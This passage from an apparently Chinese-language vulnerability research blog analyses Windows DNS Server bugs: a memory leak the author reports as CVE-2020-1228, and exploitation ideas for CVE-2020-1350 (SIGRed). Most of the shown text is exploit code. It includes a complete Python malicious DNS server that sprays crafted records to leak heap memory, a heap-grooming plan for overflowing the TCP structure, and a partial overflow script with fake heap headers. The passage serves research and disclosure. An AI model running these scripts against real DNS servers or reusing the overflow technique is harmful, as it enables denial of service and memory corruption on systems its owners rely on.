class="built_in">bytes</span>(ba)</span><br><span class="line">        l = s.sendto(data, addr)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;sent&quot;</span>, <span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&#x27;-++++++++++++++++++++++\n&#x27;</span></span><br><span class="line">    s.close()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;close udp&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> thread</span><br><span class="line">thread.start_new_thread(udp_handler,())</span><br><span class="line">thread.start_new_thread(tcp_handler,())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">raw_input(<span class="string">&#x27;&gt;&#x27;</span>)</span><br></pre></td></tr></table></figure><p>type 24的可以参见<a href="https://github.com/maxpl0it/CVE-2020-1350-DoS/blob/master/sigred_dos.py">CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit</a></p><h1 id="内存泄露"><a href="#内存泄露" class="headerlink" title="内存泄露"></a>内存泄露</h1><p>内存泄露就很简单了, 在函数Recurse_CacheMessageResourceRecords的循环处理函数Wire_CreateRecordFromWire返回值的时候, 如果在处理下一个answer时中途出现错误, 会直接跳出循环. 虽然它保存了所有的内存指针, 但是并没有调用free操作把所有指针释放掉, 导致最后内存指针丢失, 造成内存泄露. 最后微软给的cve是 <a href="https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1228">CVE-2020-1228</a> .</p><p><img src="/images/dns-memleak/image-20200911110523307.png" alt="image-20200911110523307"></p><p>以下是内存泄露的poc</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">from</span> impacket.structure <span class="keyword">import</span> Structure</span><br><span class="line"><span class="keyword">import</span> dns.message, dns.query</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">resp = <span class="string">&quot;\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getNameLen</span>(<span class="params">data</span>):</span><br><span class="line">    s = <span class="number">0</span></span><br><span class="line">    o = <span class="number">14</span></span><br><span class="line">    l=<span class="built_in">ord</span>(data[o:o+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">while</span> l:</span><br><span class="line">        s += l+<span class="number">1</span></span><br><span class="line">        <span class="built_in">print</span> l</span><br><span class="line">        o += <span class="number">1</span>+l</span><br><span class="line">        l = <span class="built_in">ord</span>(data[o:o+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">return</span> s+<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_max_spray</span>(<span class="params">n, n_answer</span>):</span><br><span class="line">    <span class="keyword">if</span> n &gt; <span class="number">0x7f7</span>:</span><br><span class="line">        <span class="keyword">raise</span> <span class="string">&quot;number is too big&quot;</span></span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\xe0&#x27;</span>+<span class="string">&#x27;\xaa&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x15&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x15</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    p1 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x14&#x27;</span>+<span class="string">&#x27;\x00&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span></span><br><span class="line">    n_answer[<span class="number">0</span>] = n+<span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> p0+p1*(n-<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_max_and_free</span>(<span class="params">n, n_answer</span>):</span><br><span class="line">    n_answer[<span class="number">0</span>] = (n+<span class="number">0x100</span>)/<span class="number">8</span></span><br><span class="line">    <span class="keyword">if</span> n &gt; <span class="number">0x10047</span>:</span><br><span class="line">        <span class="keyword">raise</span> <span class="string">&quot;number is too large&quot;</span></span><br><span class="line">    size = <span class="number">0xff</span>&amp;(n-<span class="number">0x48</span>-<span class="number">0x3b</span>)</span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\xff&#x27;</span>+<span class="built_in">chr</span>(size)+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span> <span class="comment"># size = 0xffc4+0x3b = 0xffff</span></span><br><span class="line">    <span class="keyword">return</span> p0</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">tcp_handler</span>():</span><br><span class="line">    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)</span><br><span class="line">    server.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>,<span class="number">53</span>))</span><br><span class="line">    server.listen(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># totalSize = 0</span></span><br><span class="line">    <span class="comment"># size = totalSize-0x48-0</span></span><br><span class="line">    n_answer = [<span class="number">0</span>, <span class="number">0</span>]</span><br><span class="line">    funcs = [</span><br><span class="line">        get_alloc_max_spray</span><br><span class="line">    ]</span><br><span class="line">    steps = [</span><br><span class="line">        (<span class="number">0x2ab0</span>*<span class="number">4</span>, funcs[<span class="number">0</span>], <span class="number">3</span>),</span><br><span class="line">    ]</span><br><span class="line">    step = <span class="number">0</span></span><br><span class="line">    step_i = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        conn,addr = server.accept()</span><br><span class="line">        <span class="built_in">print</span> addr</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">                data = conn.recv(<span class="number">1024</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;step:&#x27;</span>,step,<span class="string">&#x27;step_i&#x27;</span>, step_i</span><br><span class="line"></span><br><span class="line">                ba = <span class="built_in">bytearray</span>()</span><br><span class="line">                data = data[:<span class="number">18</span>+getNameLen(data)]+steps[step][<span class="number">1</span>](steps[step][<span class="number">2</span>], n_answer)</span><br><span class="line">                ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data))</span><br><span class="line">                ba[<span class="number">0</span>] = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="built_in">len</span>(data)-<span class="number">2</span>)[<span class="number">0</span>]</span><br><span class="line">                ba[<span class="number">1</span>] = struct.pack(<span class="string">&#x27;&gt;H&#x27;</span>, <span class="built_in">len</span>(data)-<span class="number">2</span>)[<span class="number">1</span>]</span><br><span class="line">                <span class="comment"># flags</span></span><br><span class="line">                ba[<span class="number">4</span>] = <span class="number">0x84</span></span><br><span class="line">                ba[<span class="number">5</span>] = <span class="number">0</span></span><br><span class="line">                <span class="comment"># answer PRs</span></span><br><span class="line">                ba[<span class="number">8</span>] = n_answer[<span class="number">0</span>]&gt;&gt;<span class="number">8</span></span><br><span class="line">                ba[<span class="number">9</span>] = n_answer[<span class="number">0</span>]&amp;<span class="number">0xff</span></span><br><span class="line">                <span class="comment"># other prs</span></span><br><span class="line">                ba[<span class="number">10</span>] = n_answer[<span class="number">1</span>]&gt;&gt;<span class="number">8</span></span><br><span class="line">                ba[<span class="number">11</span>] = n_answer[<span class="number">1</span>]&amp;<span class="number">0xff</span></span><br><span class="line">                ba[<span class="number">12</span>] = <span class="number">0</span></span><br><span class="line">                ba[<span class="number">13</span>] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">                data = <span class="built_in">bytes</span>(ba)</span><br><span class="line">                <span class="keyword">if</span> step == <span class="number">4</span>:</span><br><span class="line">                    thread.start_new_thread(sendAQuery,())</span><br><span class="line">                    time.sleep(<span class="number">0.001</span>)</span><br><span class="line">                l = conn.send(data)</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;sent&#x27;</span>,<span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">                <span class="built_in">print</span> <span class="string">&#x27;---------------------------\n&#x27;</span></span><br><span class="line">                conn.close()</span><br><span class="line">                step_i += <span class="number">1</span></span><br><span class="line">                <span class="keyword">if</span> steps[step][<span class="number">0</span>] == step_i:</span><br><span class="line">                    step += <span class="number">1</span></span><br><span class="line">                    step_i = <span class="number">0</span></span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;tcp recv exit&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">udp_handler</span>():</span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">    s.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>, <span class="number">53</span>))</span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        data, addr = s.recvfrom(<span class="number">2048</span>)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;received:&quot;</span>, data.encode(<span class="string">&#x27;hex&#x27;</span>), <span class="string">&quot;from&quot;</span>, addr</span><br><span class="line">        ba = <span class="built_in">bytearray</span>()</span><br><span class="line">        ba.extend(<span class="built_in">map</span>(<span class="built_in">ord</span>, data+resp))</span><br><span class="line">        ba[<span class="number">2</span>] = <span class="number">0x86</span></span><br><span class="line">        ba[<span class="number">7</span>] = <span class="number">1</span></span><br><span class="line">        data = <span class="built_in">bytes</span>(ba)</span><br><span class="line">        l = s.sendto(data, addr)</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;sent&quot;</span>, <span class="built_in">hex</span>(l), <span class="built_in">hex</span>(<span class="built_in">len</span>(data))</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&#x27;-++++++++++++++++++++++\n&#x27;</span></span><br><span class="line">    s.close()</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;close udp&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> thread</span><br><span class="line">thread.start_new_thread(udp_handler,())</span><br><span class="line">thread.start_new_thread(tcp_handler,())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">raw_input(<span class="string">&#x27;&gt;&#x27;</span>)</span><br></pre></td></tr></table></figure><h1 id="cve-2020-1350的利用思路分析"><a href="#cve-2020-1350的利用思路分析" class="headerlink" title="cve-2020-1350的利用思路分析"></a>cve-2020-1350的利用思路分析</h1><p>通过分析它的堆分配函数Mem_Alloc可以知道, 当请求的size超过0xa0时会分配传统heap, 否则从它自定义的大堆内选一个被切出来的小块作为结果返回. 而在函数Recurse_CacheMessageResourceRecords内, 它把函数Wire_CreateRecordFromWire返回的heap通过单项链表串联了起来, +0位置指示了下一个结构体的指针.</p><p>利用内存泄露bug, 就可以实现完美的内存布局. 而dns内部, 某些size对应的堆并没有被激活lfh, 所以可以和普通的大堆挨在一起.</p><p><strong>tcp主结构体溢出思路</strong></p><ol><li>申请非常多0x10000这种大内存, 耗尽空隙</li><li>利用records申请一个0x10000+0x100的内存, 再申请个0x10000的内存(记作T), 那么这两个内存就会挨着. 在处理结束后, 就会留下一个0x100120的洞</li><li>申请一个0x10000的内存, 就会切下一个0x110的洞</li><li>申请一个tcp的query请求, 再申请一个0x100的内存来溢出, 由于它内部一些机制, 最后会把当前tcp的大块0x101f4申请到 T内存 之后, 从而可以溢出到tcp的主结构体</li></ol><p>我最后并没有在windows server 2019上找到合适的泄露信息组件, 导致没办法完成利用. 精力有限, 便没有继续深入分析. 希望有兴趣的人可以基于此作更长远的利用.</p><p>下面是一个溢出的示例:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">from</span> impacket.structure <span class="keyword">import</span> Structure</span><br><span class="line"><span class="keyword">import</span> dns.message, dns.query</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">resp = <span class="string">&quot;\xc0\x0c\x00\x06\x00\x01\x00\x00\x02\x58\x00\x3f\x05\x64\x6e\x73&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x32\x35\x07\x68\x69\x63\x68\x69\x6e\x61\x03\x63\x6f\x6d\x00\x0a&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x68\x6f\x73\x74\x6d\x61\x73\x74\x65\x72\x07\x68\x69\x63\x68\x69&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x6e\x61\x03\x63\x6f\x6d\x00\x78\x67\x41\xf1\x00\x00\x0e\x10\x00&quot;</span> \</span><br><span class="line"><span class="string">&quot;\x00\x04\xb0\x00\x01\x51\x80\x00\x00\x01\x68&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendAQuery</span>():</span><br><span class="line">    m = dns.message.from_wire(<span class="string">&quot;\xcc\x2e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00&quot;</span>+<span class="string">&quot;\x049999&quot;</span>+<span class="string">&quot;\x03&quot;</span>+<span class="string">&quot;v-v&quot;</span>+<span class="string">&quot;\x05&quot;</span>+<span class="string">&quot;space&quot;</span>+<span class="string">&quot;\x00\x00\x01\x00\x01&quot;</span>)</span><br><span class="line">    mr = dns.query.tcp(m, <span class="string">&#x27;192.168.170.140&#x27;</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;send query&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getNameLen</span>(<span class="params">data</span>):</span><br><span class="line">    s = <span class="number">0</span></span><br><span class="line">    o = <span class="number">14</span></span><br><span class="line">    l=<span class="built_in">ord</span>(data[o:o+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">while</span> l:</span><br><span class="line">        s += l+<span class="number">1</span></span><br><span class="line">        <span class="built_in">print</span> l</span><br><span class="line">        o += <span class="number">1</span>+l</span><br><span class="line">        l = <span class="built_in">ord</span>(data[o:o+<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">return</span> s+<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_1_c0h_and_ow_c0h</span>(<span class="params">n, n_answer</span>):</span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\x00\x2d&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x10&#x27;</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0xf</span>+<span class="string">&#x27;\x00&#x27;</span> <span class="comment"># len 79h</span></span><br><span class="line">    p1 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x5c\xf5\x00\xec&#x27;</span>+<span class="string">&#x27;\xff\x7a&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0e&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">9</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x15&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x15</span>+<span class="string">&#x27;\x00&#x27;</span> <span class="comment"># 87h</span></span><br><span class="line">    n_answer[<span class="number">0</span>] = <span class="number">2</span></span><br><span class="line">    <span class="keyword">return</span> p0+p1+<span class="string">&#x27;\xcc&#x27;</span>*<span class="number">0xff00</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_ow_size</span>(<span class="params">size, n_answer</span>):</span><br><span class="line">    n_answer[<span class="number">0</span>] = size/<span class="number">8</span>-<span class="number">2</span></span><br><span class="line">    <span class="keyword">if</span> size &gt; (<span class="number">0xd1</span>+<span class="number">0x48</span>):</span><br><span class="line">        <span class="keyword">raise</span> <span class="string">&#x27;size is too big&#x27;</span></span><br><span class="line"></span><br><span class="line">    n = <span class="number">0xff</span> &amp; ((<span class="number">0x10000</span>|(size-<span class="number">0x48</span>))-<span class="number">0xff</span>)</span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\xff&#x27;</span>+<span class="built_in">chr</span>(n)+<span class="string">&#x27;\xaa&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x15&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x15</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    fake_header = <span class="string">&#x27;\xcc&#x27;</span>*<span class="number">16</span>+<span class="string">&#x27;\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*(size-<span class="number">0x10</span>)</span><br><span class="line">    padsize = <span class="number">2</span>*(size+<span class="number">0x10</span>)-(<span class="number">0x10</span>+<span class="number">0x4c</span>+<span class="number">0xff</span>-size)-(<span class="built_in">len</span>(p0)-<span class="number">0x20</span>)</span><br><span class="line">    fake_num = (<span class="number">0xffff</span>-<span class="number">0x20</span>-<span class="built_in">len</span>(p0)-padsize)/(size+<span class="number">0x10</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;padsize:%x,fake_num:%x&#x27;</span>%(padsize, fake_num)</span><br><span class="line">    <span class="keyword">return</span> p0+<span class="string">&#x27;b&#x27;</span>*padsize+fake_header*fake_num</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_alloc_ow_size_without_records</span>(<span class="params">size, n_answer</span>):</span><br><span class="line">    n_answer[<span class="number">0</span>] = <span class="number">2</span></span><br><span class="line">    <span class="keyword">if</span> size &gt; (<span class="number">0xd1</span>+<span class="number">0x48</span>):</span><br><span class="line">        <span class="keyword">raise</span> <span class="string">&#x27;size is too big&#x27;</span></span><br><span class="line"></span><br><span class="line">    n = <span class="number">0xff</span> &amp; ((<span class="number">0x10000</span>|(size-<span class="number">0x48</span>))-<span class="number">0xff</span>)</span><br><span class="line">    p0 = <span class="string">&#x27;\xc0\x0c\x00\x2e\x00\x01\x00\x00\x00\xec&#x27;</span>+<span class="string">&#x27;\xff&#x27;</span>+<span class="built_in">chr</span>(n)+<span class="string">&#x27;\xaa&#x27;</span>*<span class="number">18</span>+<span class="string">&#x27;\xc0\x0d&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">7</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x39&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x39</span>+<span class="string">&#x27;\x15&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*<span class="number">0x15</span>+<span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    fake_header = <span class="string">&#x27;\xcc&#x27;</span>*<span class="number">16</span>+<span class="string">&#x27;\x00\x00\x00\x00\xbb\x22\xa3\x00\xef\x0b\x0b\xfe\xef\x0b\x0b\xfe&#x27;</span>+<span class="string">&#x27;a&#x27;</span>*(size-<span class="number">0x10</span>)</span><br><span class="line">    padsize = <span class="number">2</span>*(size+<span class="number">0x10</span>)-(<span class="number">0x10</span>+<span class="number">0x4c</span>+<span class="number">0xff</span>-size)-(<span class="built_in">len</span>(p0)-<span class="number">0x20</span>)</span><br><span class="line">    fake_num = (<span class="number">0xffff</span>-<span class="number">0x20</span>-<span class="built_in">len</span>(p0)-padsize)/(size+<span class="number">0x10</span>)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&#x27;padsize:%x,fake_num:%x&#x27;</span>%(padsize, fake_num)</span><br><span class="line">    <span class="keyword">return</span> 